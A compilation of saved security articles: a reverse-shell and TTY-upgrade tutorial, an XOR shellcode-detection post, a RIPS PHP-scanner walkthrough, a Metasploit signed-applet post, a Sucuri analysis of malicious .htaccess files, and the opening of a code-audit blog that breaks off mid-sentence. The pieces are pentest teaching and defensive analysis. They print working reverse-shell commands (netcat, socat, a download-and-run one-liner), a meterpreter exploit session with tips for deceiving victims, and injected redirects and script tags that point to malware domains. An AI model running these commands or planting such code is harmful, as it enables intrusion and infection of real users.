  * **KALI IP** : 10.0.3.4

# Generating reverse shell commands

Everyone is pretty familiar with the traditional way of using netcat to get a
reverse shell:

[code]

    nc -e /bin/sh 10.0.3.4 4444  
    
[/code]

and catching it with:

[code]

    nc -lvp 4444  
    
[/code]

The problem is not every server has netcat installed, and not every version of
netcat has the `-e` option.

Pentest Monkey has a great cheatsheet outlining a few different methods, but
my favorite technique is to use Metasploit's `msfvenom` to generate the one-
liner commands for me.

Metasploit has several payloads under "cmd/unix" that can be used to generate
one-liner bind or reverse shells:

<img src='img/Temp2_8736.png' width='619' height='619' alt='msfvenom payloads'
/>

Any of these payloads can be used with `msfvenom` to spit out the raw command
needed \(specifying LHOST, LPORT or RPORT\). For example, here's a netcat
command not requiring the `-e` flag:

<img src='img/Temp2_8738.png' width='788' height='114' alt='Netcat shell' />

And here's a Perl oneliner in case `netcat` isn't installed:

<img src='img/Temp2_8734.png' width='895' height='115' alt='Perl shell' />

These can all be caught by using netcat and listening on the port specified
\(4444\).

# Method 1: Python pty module

One of my go-to commands for a long time after catching a dumb shell was to
use Python to spawn a pty. The pty module let's you spawn a psuedo-terminal
that can fool commands like `su` into thinking they are being executed in a
proper terminal. To upgrade a dumb shell, simply run the following command:

[code]

    python -c 'import pty; pty.spawn("/bin/bash")'  
    
[/code]

This will let you run `su` for example \(in addition to giving you a nicer
prompt\)

<img src='img/Temp2_8739.png' width='568' height='352' alt='Python PTY' />

Unfortunately, this doesn't get around some of the other issues outlined
above. SIGINT \(Ctrl-C\) will still close Netcat, and there's no tab-
completion or history. But it's a quick and dirty workaround that has helped
me numerous times.

# Method 2: Using socat

socat is like netcat on steroids and is a very powerfull networking swiss-army
knife. Socat can be used to pass full TTY's over TCP connections.

If `socat` is installed on the victim server, you can launch a reverse shell
with it. You _must_ catch the connection with `socat` as well to get the full
functions.

The following commands will yield a fully interactive TTY reverse shell:

**On Kali \(listen\)** :

[code]

    socat file:`tty`,raw,echo=0 tcp-listen:4444  
    
[/code]

**On Victim \(launch\)** :

[code]

    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444  
    
[/code]

If socat isn't installed, you're not out of luck. There are standalone
binaries that can be downloaded from this awesome Github repo:

https://github.com/andrew-d/static-binaries

With a command injection vuln, it's possible to download the correct
architecture `socat` binary to a writable directoy, chmod it, then execute a
reverse shell in one line:

[code]

    wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444  
    
[/code]

On Kali, you'll catch a fully interactive TTY session. It supports tab-
completion, SIGINT/SIGSTP support, vim, up arrow history, etc. It's a full
terminal. Pretty sweet.

<img src='img/Temp2_8743.png' width='691' height='559' alt='Socat tty' />

# Method 3: Upgrading from netcat with magic

I watched Phineas Fisher use this technique in his hacking video, and it feels
like magic. Basically it is possible to use a dumb netcat shell to upgrade to
a full TTY by setting some `stty` options within your Kali terminal.

First, follow the same technique as in Method 1 and use Python to spawn a PTY.
Once bash is running in the PTY, background the shell with `Ctrl-Z`

<img src='img/Temp2_8740.png' width='496' height='189' alt='Background shell'
/>

While the shell is in the background, now examine the current terminal and
STTY info so we can force the connected shell to match it:

<img src='img/Temp2_8737.png' width='895' height='171' alt='Term and STTY
info' />

The information needed is the TERM type \(_"xterm-256color"_\) and the size of
the current TTY \(_"rows 38; columns 116"_\)

With the shell still backgrounded, now set the current STTY to type raw and
tell it to echo the input characters with the following command:

[code]

    stty raw -echo  
    
[/code]

With a raw stty, input/output will look weird and you won't see the next
commands, but as you type they are being processed.

Next foreground the shell with `fg`. It will re-open the reverse shell but
formatting will be off. Finally, reinitialize the terminal with `reset`.

<img src='img/Temp2_8744.png' width='895' height='134' alt='Foreground and
reset' />

_Note: I did not type the`nc` command again \(as it might look above\). I
actually entered `fg`, but it was not echoed. The `nc` command is the job that
is now in the foreground. The `reset` command was then entered into the netcat
shell_

After the `reset` the shell should look normal again. The last step is to set
the shell, terminal type and stty size to match our current Kali window \(from
the info gathered above\)

[code]

    $ export SHELL=bash
    $ export TERM=xterm256-color
    $ stty rows 38 columns 116
    
[/code]

The end result is a fully interactive TTY with all the features we'd expect
\(tab-complete, history, job control, etc\) all over a netcat connection:

<img src='img/Temp2_8735.png' width='503' height='248' alt='Netcat full TTY'
/>

The possibilities are endless now. Tmux over a netcat shell?? Why not? :D

<img src='img/Temp2_8741.png' width='895' height='626' alt='Tmux over Netcat'
/>

# tl;dr cheatsheet

Cheatsheet commands:

**Using Python for a psuedo terminal**

[code]

    python -c 'import pty; pty.spawn("/bin/bash")'  
    
[/code]

**Using socat**

[code]

    #Listener:
    socat file:`tty`,raw,echo=0 tcp-listen:4444
    
    #Victim:
    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444  
    
[/code]

**Using stty options**

[code]

    # In reverse shell
    $ python -c 'import pty; pty.spawn("/bin/bash")'
    Ctrl-Z
    
    # In Kali
    $ stty raw -echo
    $ fg
    
    # In reverse shell
    $ reset
    $ export SHELL=bash
    $ export TERM=xterm-256color
    $ stty rows <num> columns <cols>
    
[/code]

Any other cool techniques? Let me know in the comments or hit me up on
twitter.

Enjoy\!  
-ropnop
  * email
  * twitter
  * reddit

#### ropnop

Read more posts by this author.

  

# Crypto-Analysis in Shellcode Detection - Security Labs

**Created:**| _11/18/2010 6:00:04 PM_  
---|---  
**Updated:**| _11/18/2010 6:01:01 PM_  
**Author:**| __  
**Tags:**| _shellcode bookmark iDS/iPS crypto awesome_  
  

Crypto-Analysis in Shellcode Detection  

**Posted:** 03 Jun 2010 03:32 AM

Probably the biggest computer threats nowadays are _the Exploits_. Exploits
seek out the vulnerabilities of an application to launch their malicious
activities. Cyber criminals target popular applications such as Shockwave
Flash and Adobe Acrobat PDF to keep the chances high that a user's computer is
vulnerable. In this blog we will examine a Flash exploit using a very simple
crypto-analysis technique we call X-ray.

Crypto-analysis of malicious code is not a new technology or invention. It has
been used in fighting MS-DOS viruses since the '90s. This article provides an
in-depth, detailed discussion on this subject, explaining how it works and how
it can be used for malicious content detection in shell code.

First we need to understand the X-ray technique and how it works, and then we
can see how it helps us to analyze and detect malicious content in shell code.
X-ray is basically a differential crypto-analysis method which is a very easy
way to attack simple encrypted data. What we assume is that when a simple
block encryption algorithm is used, the difference between the consecutive
data blocks remains the same.

One very good way to explain this is to encrypt a picture and then try
decrypting it. Take a look at this picture:

<img src='img/Temp2_1689.jpg' />

The picture does not tell us much, except that we can see that it is
encrypted. It looks random enough, even though we can spot some repetition. In
fact the algorithm used is very simple stream ciphering with some avalanche
effect. The result is a picture that suggests very little about itself.
However, when we generate the difference in between the consecutive bytes, we
get this:

<img src='img/Temp2_1694.jpg' />

Ah-ha\! Now we see that this is the logo of our secret weapon against Internet
threats. :-\) \(See the original graphic below\)

<img src='img/Temp2_1688.jpg' />

Now, no wonder it is called X-ray\! We may not see the 'skin', but we clearly
see the 'bones'. The resulting picture is far from the original one, but is
good enough to see what it was. Nice, but how does it work?

To understand, we need to get into the math behind cryptography. Take a look
at this very simple block ciphering algorithm. We have a message of:

<img src='img/Temp2_1697.jpg' />

Where _M_ is the _n_ length of plaintext message and _m_ is the block of the
message \(typically a character\).

In order to get the ciphered message of:

<img src='img/Temp2_1698.jpg' />

Where  _C_ is the _n_ length of ciphertext \(encrypted\) message and  _c_ is
the block of the message \(typically a character\),

we need to apply an encryption to each one of the message blocks using the
same key:

<img src='img/Temp2_1703.jpg' />

Where _E_ is the encryption algorithm using _k_ key.

When _E_ encryption algorithm is a simple _XOR_ using the same _k_ key on each
block, then

<img src='img/Temp2_1692.jpg' />

the \(above\) formula gives us the encrypted stream. Usually we see this
simple method in shell code with byte size blocks. In other words, each one of
the characters of clear text is simply XORed with a constant \(see the pseudo
code\). The reason this kind of encryption is so popular is that it is easy to
understand and it is also easy to obfuscate the data and the code sections
enough to avoid detection by a simple string detection engine.

Now we can note that a simple differential analysis will easily decypher this
kind of encryption:

<img src='img/Temp2_1693.jpg' />

Why? Because:

<img src='img/Temp2_1700.jpg' />

Because XOR is commutative, we can remove the brackets and reorganize the
equation to:

<img src='img/Temp2_1691.jpg' />

We know that:

<img src='img/Temp2_1704.jpg' />

Therefore:

<img src='img/Temp2_1696.jpg' />

As we can see, a simple block ciphering does not provide strong encryption.
And because simple block ciphering is widely used in exploits, we can easily
break those by decyphering known text or binary content in them. To put the
theory in practice, let's take a look at this simple decryption loop taken out
of shell code used in an SWF exploit:

\(MD5 of the sample: 32398CBF94CA9B42E0B415BB93B00CFE\)

<img src='img/Temp2_1701.jpg' />

As we can see, the code uses byte size blocks and a simple XOR ciphering with
a constant 0x3D. Inside the code we can also see a pattern starts with some
0x3D following by a text "UIIM":

<img src='img/Temp2_1690.jpg' />

We might suspect that is an encrypted URL starting with "http://". Now that we
know the algorithm and the encryption key, it is easy to double check if our
suspicion is correct. The question is how do we find this string without
knowing the key?

Do you remember the differential attack? All we need to do is to take a known
text, which is "http://", and create a stream of differences:

<img src='img/Temp2_1702.jpg' />

Similarly, we create a difference on the encrypted stream:

<img src='img/Temp2_1705.jpg' />

And then, if we can find _ΔM_ in _ΔC,_ then we have what we are looking for.
Obviously, the longer the known text, the less prone it is to falsely
detecting the string.

The next step is to determine the key, and decipher the entire URL, which is
very simple by just doing an XOR on the first detected block and the first
block of the known text:

<img src='img/Temp2_1699.jpg' />

Knowing all of this, we can now write a simple analysis tool that can find and
extract 'interesting text' from a binary file. As an example, here is the
output of a small Perl hack I wrote earlier \(see the script attached below\):

<img src='img/Temp2_1695.jpg' />

The good thing about this technique is that we have to generate the
differential set from the known text set only once in the lifetime of the
application. Also, we need to generate the differences of the scanned shell
code only once to check all the known text from our dictionary. Our dictionary
therefore can be huge, including not only known and unknown URL patterns, but
binary sequences that can identify each type of shell code we already know.

So far so good, however, life would be too easy if all of our work was
finished now, yes? Many times, we see the shell code in compressed and
otherwise obfuscated format. For example a Flash file could be compressed, or
in a PDF file each stream can be compressed and encoded in different ways,
which than can contain obfuscated JavaScript code that holds the shell code.
The detection or analytics engine therefore first needs to do all the
necessary transformations and de-obfuscations in order to be able to analyze
the shell code. Maybe this is one of the reasons we can see simple encryptions
most of the times.

Although in reality we see mostly simple block ciphers in exploits, there are
many examples in viruses and trojans of much more sophisticated encryptions.
These use a variety of block and stream ciphers with different length
encryption keys, even applying more than one algorithm on top of each other to
harden the encryption. Breaking such ciphertext requires more complex method,
however, due to constantly increasing computing power, it is even possible to
attack the DES algorithm. The good news is that even when stronger encryption
has been applied, we have better techniques to detect malicious content.

# RIPS – Finding vulnerabilities in PHP application

**Created:**| _5/7/2017 10:49:17 AM_  
---|---  
**Updated:**| _5/7/2017 10:49:17 AM_  
**Author:**| __  
**Tags:**| _php software sast_  
  

  

# RIPS – Finding vulnerabilities in PHP application

The biggest fear of any developer has always been that their site may get
hacked and occasionally it does end up being hacked. For a very long time, the
most popular stack being used for the development of website has been the
**LAMP Stack** \(Linux, MySQL, PHP/Perl/Python\). Out of which, the most
frequently used language was PHP. Many major websites such as Facebook \(early
version\), Wikipedia, Yahoo, MailChimp, WordPress, etc. have been built on
PHP.

Although, many measures have been taken by various developers to make their
PHP application as secure as possible. However, PHP when used raw, can be
vulnerable. Considering that these mistakes cannot always be avoided, come
RIPS to our rescue.

RIPS is a source code scanner that detects possible vulnerabilities in a PHP
code. RIPS tokenizes and parses the entire source code by transforming the PHP
code into programs models and detects the possible vulnerable functions that
can be compromised by a user input. It also offers an integrated code audit
framework for further manual analysis.

# RIPS covers a vast range of vulnerabilities, such as

  * Code Execution
  * Command Execution
  * Cross-Site Scripting \(XSS\)
  * Header Injection
  * File Disclosure
  * File Inclusion
  * File Manipulation
  * LDAP Injection
  * SQL Injection
  * XPath Injection
  * Unserialize with POP

# A Few details about the Code Audit Interface:

  * Scan and vulnerability Stats
  * Grouped vulnerable code lines \(bottom up or top down\)
  * Vulnerability description with example code, PoC, patch
  * Exploit creator
  * File list and graph
  * Function list and graph
  * User Input list
  * Source code viewer with highlighting
  * Active jumping between function calls
  * Searching via Regular Expression \(regex\)
  * Eight syntax highlighting designs

# A Few details about its static code analysis:

  * It is fast
  * Tokenizing with PHP tokenizer extension
  * Taint analysis for 232 sensitive sinks
  * Inter- and Intra-Procedural analysis
  * Handles very PHP-specific behavior
  * Handles user-defined securing
  * Reconstruct file inclusions
  * Detecting blind/non-blind exploitation
  * Detecting Backdoors

The latest version of RIPS can be downloaded from
https://sourceforge.net/projects/rips-scanner/files/

Note: You will require a local web server, such as MAMP/WAMP/XWAMP \(depending
on your Operating System\), installed on the system you want to run RIPS on.
Once downloaded, extract the file to your web server. Usually, the path is
/var/www/rips or in the htdocs folder.

Once done, you can access at http://localhost/rips/

This is what RIPS looks like when started:

<img src='img/031817_2357_RIPSFinding1.png' width='576' height='321' />

RIPS gives us the ability to scan a single PHP file or a complete PHP
application folder. We start by entering the path of our project or file
\(marked in red\) and select if we enter the path of a folder, the subdirs
checkbox \(marked in yellow\) if we want RIPS to scan the sub-directories of
that folder as well.

<img src='img/031817_2357_RIPSFinding2.png' width='576' height='321' />

Next, we start to select the vulnerability we want to scan for \(marked in
green\). In this case, RIPS gives us a few options:

  * All the vulnerabilities present in RIPS
  * All Server-Side vulnerabilities
  * All Client-Side Vulnerabilities
  * A particular vulnerability

**Note:** More vulnerabilities we select and bigger the application we are
scanning; the more time RIPS will take to do its job.

Next, we select the verbosity level \(marked in purple\). RIPS gives us five
different levels:

  1. **User tainted** – It scans only for PVF calls which are tainted with user input.
  2. **File/DB tainted +1** – This also factors file and database content as potentially malicious user input.
  3. **Show Secured +1,2** – It will also output secured PVF calls. This is important to detect insufficient securing’s which are sometimes hard to detect by a static code analyzer automatically.
  4. **Untainted +1,2,3** – It shows additional information RIPS collected during the scan such as exists, notes about the success of analyzing, included files and calls of functions.
  5. **Debug Mode** – It shows all PVF calls and its traces whether to not tainted by user input. However, this level can lead to a lot of false positives.

<img src='img/031817_2357_RIPSFinding3.png' width='576' height='321' />

I have written a small PHP file which is vulnerable to XSS. Let’s see if RIPS
can figure that out or not:

<img src='img/031817_2357_RIPSFinding4.png' width='576' height='169' />

We can see that RIPS tells us that our code in “ _test.php_ ” is vulnerable to
XSS. Let’s see if this is actually the case or if it is a false positive:

<img src='img/031817_2357_RIPSFinding5.png' width='576' height='218' />

As we can see, the code is vulnerable to XSS. By pressing the small help icon
\(marked in black\) on the left-hand side will show us more information on
XSS:

<img src='img/031817_2357_RIPSFinding6.png' width='576' height='169' />

So as we can see, the concept of XSS in that if we use a **$\_GET** source and
directly print it using **echo** , it results in XSS. Let’s see if this is
what our code looks like or not:

<img src='img/031817_2357_RIPSFinding7.png' width='557' height='191' />

Yep, that is exactly what our code looks like. Hence, the vulnerability. We
can also see that RIPS has marked our user input as tainted:

<img src='img/031817_2357_RIPSFinding8.png' width='576' height='229' />

For a further test, we will be using Damn Vulnerable Web Application \(DVWA\).
It is an open source application on which we can practice various security
tests at various levels. It can be downloaded from
https://github.com/ethicalhack3r/DVWA. Installation instructions and setup is
present with it.

Let’s try a different vulnerability, say **_File Inclusion_** :

First, we will search the file to see if that vulnerability exists or not:

<img src='img/031817_2357_RIPSFinding9.png' width='576' height='321' />

As we can see, it shows that this is vulnerable to **File Inclusion**. In the
graph generated by RIPS, we can also see the source of the vulnerability:

<img src='img/031817_2357_RIPSFinding10.png' width='576' height='322' />

Ethical Hacking Training – Resources \(InfoSec\)

In the code viewer, we can also the highlighted vulnerable piece of code:

<img src='img/031817_2357_RIPSFinding11.png' width='576' height='290' />

We can also use its exploit creator to create a PoC:

<img src='img/031817_2357_RIPSFinding12.png' width='576' height='161' />

Now that we have so much information, let’s see if it is actually vulnerable
or not:

<img src='img/031817_2357_RIPSFinding13.png' width='576' height='291' />

Yes, this confirms that the code is vulnerable to **File Inclusion**.

The same way, we can test for various other vulnerabilities as listed above.

# Conclusion

There are various other open source web application scanners that are used to
find vulnerabilities in a black box testing. However, a source code review in
a white box case can lead to much better results, but only a handful of open
source PHP source code analyzers are out there. Due to the limitations of a
static code analyzer, some false positives can occur, and a manual review of
the result is recommended. Overall, RIPS is a good analyzing tool, but you
cannot solely rely on it.

<img src='img/0eb3e418e8381475607267-securityiq_logo.png' width='150'
height='141' alt='0eb3e418e8381475607267-securityiq_logo.png' />

SecurityIQ is the \#1 Phishing Simulator on the Market.

Try it today for FREE\!

Prevent the top cause of security breaches by preparing your last line of
defense with SecurityIQ.

  

# Rapid7 Community: Metasploit: Recent Developments in Java Signed Applets

**Created:**| _5/27/2011 11:43:28 AM_  
---|---  
**Updated:**| _5/27/2011 11:43:36 AM_  
**Author:**| __  
**Tags:**| _Metasploit crypto Java_  
  

## Recent Developments in Java Signed Applets

Gepostet von egypt am 26.05.2011 22:40:20

The best exploits are often not exploits at all -- they are code execution by
design. One of my favorite examples of this is a signed java applet. If an
applet is signed, the jvm allows it to run outside the normal security
sandbox, giving it full access to do anything the user can do.

Metasploit has supported using signed applets as a browser exploit for quite
awhile, but over the last week there have been a couple of improvements that
might help you get more shells. The first of these improvements is replacing
RJB signing \(which requires a JDK and was somewhat difficult to get working\)
with OpenSSL \(which works out of the box with a default Ruby installation\).
That led directly to the second major improvement: once the RJB dependency
went away, it was a lot easier to support user-supplied certificates.

In a somewhat related change, all TCP server exploits \(including all browser
exploits, such as java\_signed\_applet\) now accept arbitrary SSL
certificates. Here's what it looks like from the attacker's perspective:

[code]

    msf exploit(java_signed_applet) > show options 
    
    Module options (exploit/multi/browser/java_signed_applet):
    
       Name            Current Setting  Required  Description
       ----            ---------------  --------  -----------
       APPLETNAME      SiteLoader       yes       The main applet's class name.
       CERTCN          SiteLoader       yes       The CN= value for the certificate. Cannot contain ',' or '/'
       SRVHOST         0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
       SRVPORT         443              yes       The local port to listen on.
       SSL             true             no        Negotiate SSL for incoming connections
       SSLCert         example.net.crt  no        Path to a custom SSL certificate (default is randomly generated)
       SSLVersion      SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
       SigningCert     example.net.pfx  no        Path to a signing certificate in PEM or PKCS12 (.pfx) format
       SigningKey                       no        Path to a signing key in PEM format
       SigningKeyPass  password         no        Password for signing key (required if SigningCert is a .pfx)
       URIPATH         /                no        The URI to use for this exploit (default is random)
    
    
    Payload options (java/meterpreter/reverse_tcp):
    
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST  192.168.168.10   yes       The listen address
       LPORT  4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Generic (Java Payload)
    
    
    msf exploit(java_signed_applet) > exploit
    [*] Exploit running as background job.
    [*] Started reverse handler on 192.168.168.10:4444 
    [*] Using URL: https://0.0.0.0:443/
    [*]  Local IP: https://192.168.168.10:443/
    [*] Server started.
    msf exploit(java_signed_applet) > 
    [*] Sending stage (27642 bytes) to 192.168.168.11
    [*] Meterpreter session 1 opened (192.168.168.10:4444 -> 192.168.168.11:37066) at 2011-05-26 18:30:13 -0600
    
    
    
    
[/code]

There are two options above with which we are primarily concerned. First,
**SSLCert** is a file containing a CA-signed SSL certificate in PEM format.
Second, **SigningCert** is a PKCS12 file that came back from a code signing
CA. I found no official list of CAs that java will accept, but
http://www.spikezilla-software.com/blog/?p=21 has a pretty good list.
**SigningCert** will also accept a PEM file, but note that you have to include
a cert chain leading back to a trusted root for Java to trust the jar. If you
have them in different files, you can just concatenate the PEM versions of the
certs in the chain.

Before these changes \(and now if you don't provide a CA-signed cert\), this
is what the victim would see on recent JVMs:

<img src='img/Temp2_6755.png' width='310' height='195' alt='Win7-self-signed-
applet.PNG' />

Of particular note is that recent JVMs don't display the cert's CN in the
Publisher line any more unless the cert is trusted. Also notice that "Always
trust" is unchecked by default. With the provided **SSLCert** , the victim's
browser will give all normal indications that the site is legitimate -- a
lock, a different colored url bar, whatever. Once the applet loads, this is
what the victim will see on an old JVM \(1.6.0\_20\):

<img src='img/Temp2_6753.png' width='310' height='191' alt='older-CA-signed-
applet.PNG' />

I'm betting tons of people will click "Run" without thinking twice. Some time
since 1.6.0\_20, the text changed. Here is the same dialog on 1.6.0\_25
\(latest\):

<img src='img/Temp2_6754.png' width='310' height='195' alt='Win7-new-CA-
signed-applet.PNG' />

Notice the text at the bottom has become much scarier. "This application will
run with unrestricted access" sounds a little more dangerous than "validated
by a trusted source." Also, the window title is no longer a "Warning", merely
"Information," and the default is still to "Always trust." It's quite likely
that a lot of people will still click.

### Downside

Unfortunately, IE protected mode can give us some headaches. To go from
running inside the browser to running independently, we have to write an
executable of some sort. Normally for java payloads, this is just the same jar
used for the applet, executed again with java. Writing it out is fine and
dandy. Where we run into issues is executing it. Since we're running outside
of protected mode in IE7+, the user gets an ugly popup:

<img src='img/Temp2_6756.png' width='310' height='188' alt='Win7-protected-
mode-dialog.PNG' />

Eww. One way around this is to use java meterpreter instead of native and set
Spawn 0 which prevents running outside of IE. The problem with this approach,
of course, is that if the victim closes the browser, you lose your shell.
Additionally, running any outside executable \(including tasklist.exe when you
type 'ps' in java meterpreter\) still invokes the popup and since it's not
necessarily associated with any website at that point, the user is pretty
likely to freak out and click "Don't allow".

### Conclusions

You now have a way to make your signed applets look a lot more convincing.
Code signing certs are pretty cheap -- around a hundred bucks. Grabbing a
domain and cert for company.net when you're pentesting company.com will be
worth it's weight in shells. Unfortunately, recent mitigations in IE make it
somewhat less likely to get high click rates. On the other hand, it probably
doesn't matter that much, since one shell is all it takes.

If you have any ideas for dealing with protected mode, please contact me in
\#metasploit on Freenode, or @egyp7 on twitter.

# The Compiler Generator Coco/R

**Created:**| _1/18/2013 8:12:16 AM_  
---|---  
**Updated:**| _1/18/2013 8:12:16 AM_  
**Author:**| __  
**Tags:**| _parser code-gen_  
  

# **O** ld \(Non-reentrant\) Version of Coco/R****

Hanspeter Mössenböck , Albrecht Wöß , Markus Löberbauer , University of Linz

This is an old version of the compiler generator Coco/R using static fields
and static methods**.** This version is out of date since April 2005 and will
not be maintained by us any longer**.** Please use the new reentrant version
of Coco/R**.**

Coco/R is distributed under the terms of the GNU General Public License
\(slightly extended\)**.**

* * *
### Old Coco/R for C**** \#

Coco.exe  |  the executable   
---|---  
Scanner.frame  |  the frame file from which the scanner is generated   
Parser.frame  |  the frame file from which the parser is generated   
CocoSourcesCS.zip  |  the sources \(put them in a subdirectory and run build.bat\)   
* * *
### Old Coco/R for Java****

Coco.jar  |  an archive containing all classes of Coco/R   
---|---  
Scanner.frame  |  the frame file from which the scanner is generated   
Parser.frame  |  the frame file from which the parser is generated   
CocoSourcesJava.zip  |  the sources \(put them in a subdirectory and run build.bat\)   
Plugin for Eclipse  |  The Eclipse Plugin is still in an alpha state with some inconveniences that we will take care of before the final release**.**  
****

# Understanding .htaccess attacks – Part 1 | Sucuri
**Created:**| _5/29/2011 9:42:11 PM_  
---|---  
**Updated:**| _5/29/2011 9:42:18 PM_  
**Author:**| __  
**Tags:**| _web_  
  

# Understanding .htaccess attacks – Part 1

Posted on May 27, 2011 by dd

Share

Attackers have been using the .htaccess file for a while. They use this file
to hide malware, to redirect search engines to their own sites \(think
blackhat SEO\), and for many other purposes \(hide backdoors, inject content,
to modify the php.ini values, etc\).

Why do they use the .htaccess file? For multiple reasons. First, the .htaccess
is a hidden file \(starting with a “.”\), so some site owners might not find
them in their FTP clients. Secondly, it is a powerful file that allows you to
make multiple changes to the web server and PHP behavior. This makes a
.htaccess the attack hard to find and to clean up.

### 1- Redirecting users coming from search engines to malware

This is the most simple type of .htaccess attack, and the one we see more
often. This is what gets added to the .htaccess file of a hacked site:

> RewriteEngine On  
>  RewriteCond %\{HTTP\_REFERER\} .\*google.\* \[OR\]  
>  RewriteCond %\{HTTP\_REFERER\} .\*ask.\* \[OR\]  
>  RewriteCond %\{HTTP\_REFERER\} .\*yahoo.\* \[OR\]  
>  RewriteCond %\{HTTP\_REFERER\} .\*baidu.\* \[OR\]  
>  ..  
>  RewriteCond %\{HTTP\_REFERER\} .\*linkedin.\* \[OR\]  
>  RewriteCond %\{HTTP\_REFERER\} .\*flickr.\*  
>  RewriteRule ^\(.\*\)$ http://villusoftreit.ru/in.cgi?3 \[R=301,L\]
As you can see, it will check the referrer from anyone visiting the site and
if the user came from a Google search \(or yahoo or bing or any search
engine\), it will redirect the user to a page with malware \(in this example
http://villusoftreit.ru/in.cgi?3\). Note that if you type the site directly in
the address bar of your browser, nothing will happen. Why? It makes harder for
the owner of the site to detect the attack, since they will probably type the
site name, and not search for it on Google.

Below is another example of the same attack, but this time redirecting to
http://globalpoweringgatheringon.com/in.php?n=30 \(one of those Hilary kneber
domains\). _Note that this time, they’v added hundreds of white spaces before
the “RewriteCond” to make it harder to see in a text editor \(We removed below
to make easier to read in the post\)._

> \# BEGIN WordPress  
>  RewriteEngine On  
>  RewriteOptions inherit  
>  RewriteCond %\{HTTP\_REFERER\} .\*ask.com.\*$ \[NC,OR\]  
>  RewriteCond %\{HTTP\_REFERER\} .\*google.\*$ \[NC,OR\]  
>  RewriteCond %\{HTTP\_REFERER\} .\*msn.com\*$ \[NC,OR\]  
>  RewriteCond %\{HTTP\_REFERER\} .\*bing.com\*$ \[NC,OR\]  
>  RewriteCond %\{HTTP\_REFERER\} .\*live.com\*$ \[NC,OR\]  
>  RewriteCond %\{HTTP\_REFERER\} .\*aol.com\*$ \[NC,OR\]  
>  RewriteCond %\{HTTP\_REFERER\} .\*altavista.com\*$ \[NC,OR\]  
>  RewriteCond %\{HTTP\_REFERER\} .\*excite.com\*$ \[NC,OR\]  
>  RewriteCond %\{HTTP\_REFERER\} .\*search.yahoo\*$ \[NC\]  
>  RewriteRule .\* http://globalpoweringgatheringon.com/in.php?n=30 \[R,L\]
### 2 – Redirecting the error pages to malware

This is the second most common type of .htaccess malware. Instead of
redirecting all traffic, the attackers are only modifying the error pages to
their own domains \(even harder to detect\). This is what shows up in the
.htaccess:

> RewriteEngine On  
>  ErrorDocument 400 http://powercrystal.ru/inject/index.php  
>  ErrorDocument 401 http://powercrystal.ru/inject/index.php  
>  ErrorDocument 403 http://powercrystal.ru/inject/index.php  
>  ErrorDocument 404 http://powercrystal.ru/inject/index.php  
>  ErrorDocument 500 http://powercrystal.ru/inject/index.php
Other examples:

> ErrorDocument 400 http://arthurlundt.cz.cc/ht\_er\_docs/  
>  ErrorDocument 403 http://arthurlundt.cz.cc/ht\_er\_docs/  
>  ErrorDocument 404 http://arthurlundt.cz.cc/ht\_er\_docs/  
>  ErrorDocument 405 http://arthurlundt.cz.cc/ht\_er\_docs/  
>  ErrorDocument 404 http://bowdencanton.co.cc/ht\_er\_docs/  
>  ErrorDocument 405 http://bowdencanton.co.cc/ht\_er\_docs/  
>  ErrorDocument 406 http://bowdencanton.co.cc/ht\_er\_docs/  
>  ErrorDocument 400 http://nicomagen.cz.cc/ht\_er\_docs/  
>  ErrorDocument 403 http://nicomagen.cz.cc/ht\_er\_docs/  
>  ErrorDocument 404 http://nicomagen.cz.cc/ht\_er\_docs/  
>  ErrorDocument 405 http://nicomagen.cz.cc/ht\_er\_docs/
### 3 – Appending malware to a web site

This type of attack is getting more common lately. Instead of doing the
redirection in the .htaccess file, they modify the PHP value
“auto\_append\_file” to load malware from a hidden location. For example:

> php\_value auto\_append\_file “/tmp/13063671977873.php”
So the content of /tmp/13063671977873.php gets appended to every PHP file.
This is what the PHP file looks like:

> <script src="http://nicomagen.cz.cc/jquery.js"></script>
A common javascript malware. They sometimes even append fake images to make it
even harder to detect.

In the next part of this article we will talk about additional .htaccess
attacks and give you some tips to detect and analyze them.

* * *
Our scanner will detect any of those .htaccess attacks. You can try it out for
free here: http://sitecheck.sucuri.net. If you have a hacked site, we can
clean it up for you.

# Windows packer paper

**Created:**| _7/23/2009 11:08:13 AM_  
---|---  
**Updated:**| _7/23/2009 11:08:25 AM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Security Code Audit - For Fun and Fails | Frycos Security Diary
**Created:**| _5/29/2022 1:01:29 PM_  
---|---  
**Updated:**| _5/29/2022 1:01:29 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Security Code Audit - For Fun and Fails

May 24, 2022

Recently, I asked the Twitter community if anyone would be interested in a
blog post about “failed” security code audit attempts. A lot of you seemed to
like this idea, so here it is. I was somehow afraid to make a fool out of
myself with this blog post but sometimes it seems that everybody thinks that
security code audits are kind of “rocket science”. Usually it goes like this:
the professionals choose some high-value target and achieving Pre-Auth Remote
Code Executions \(RCE\) should be the golden standard. And also a professional
doesn’t fail and it wouldn’t take weeks or months to find some critical
vulnerabilities: IMHO, all of this belongs in dreamland.

So I try to give you a feeling how hard and frustrating it can be to audit a
previously unknown product \(without forgetting about the fun part\!\). Since
my latest Pre-Auth RCE achievement was a PBX product named _3CX_ \(see my blog
post\), I randomly chose another PBX product: **Starface Comfortphoning**. One
can find tons of instances exposing the web interface to the public internet.
Simply have a look at Censys.io for example.

This blog post not only should give you some insight into my methods but also
\(my personal\) common failures. Also keep in mind that **I didn’t fully audit
the product yet, not at all**. I might have looked at 10% max. The code base
is just huge and there are several services besides the web interface running
on such an instance. Thus, maybe after reading this blog post the one or the
other will take some of my notes and find a nice vulnerability: I’m definitely
still missing a lot of stuff which is of course fine. Also this is **private
time** and not related to any of my assessments at work or something similar.
But let’s begin.

# Setup

First, I looked at the vendor’s homepage and read a lot of stuff like
knowledge bases, support tickets, wikis etc. If I’m lucky, a trial version can
be downloaded without talking to some sales guy waiting for recalls. In the
Starface Wiki I got the opportunity to download a full version of the latest
release. I chose **STARFACE VM-Edition / Version 7.2.0.5** because virtual
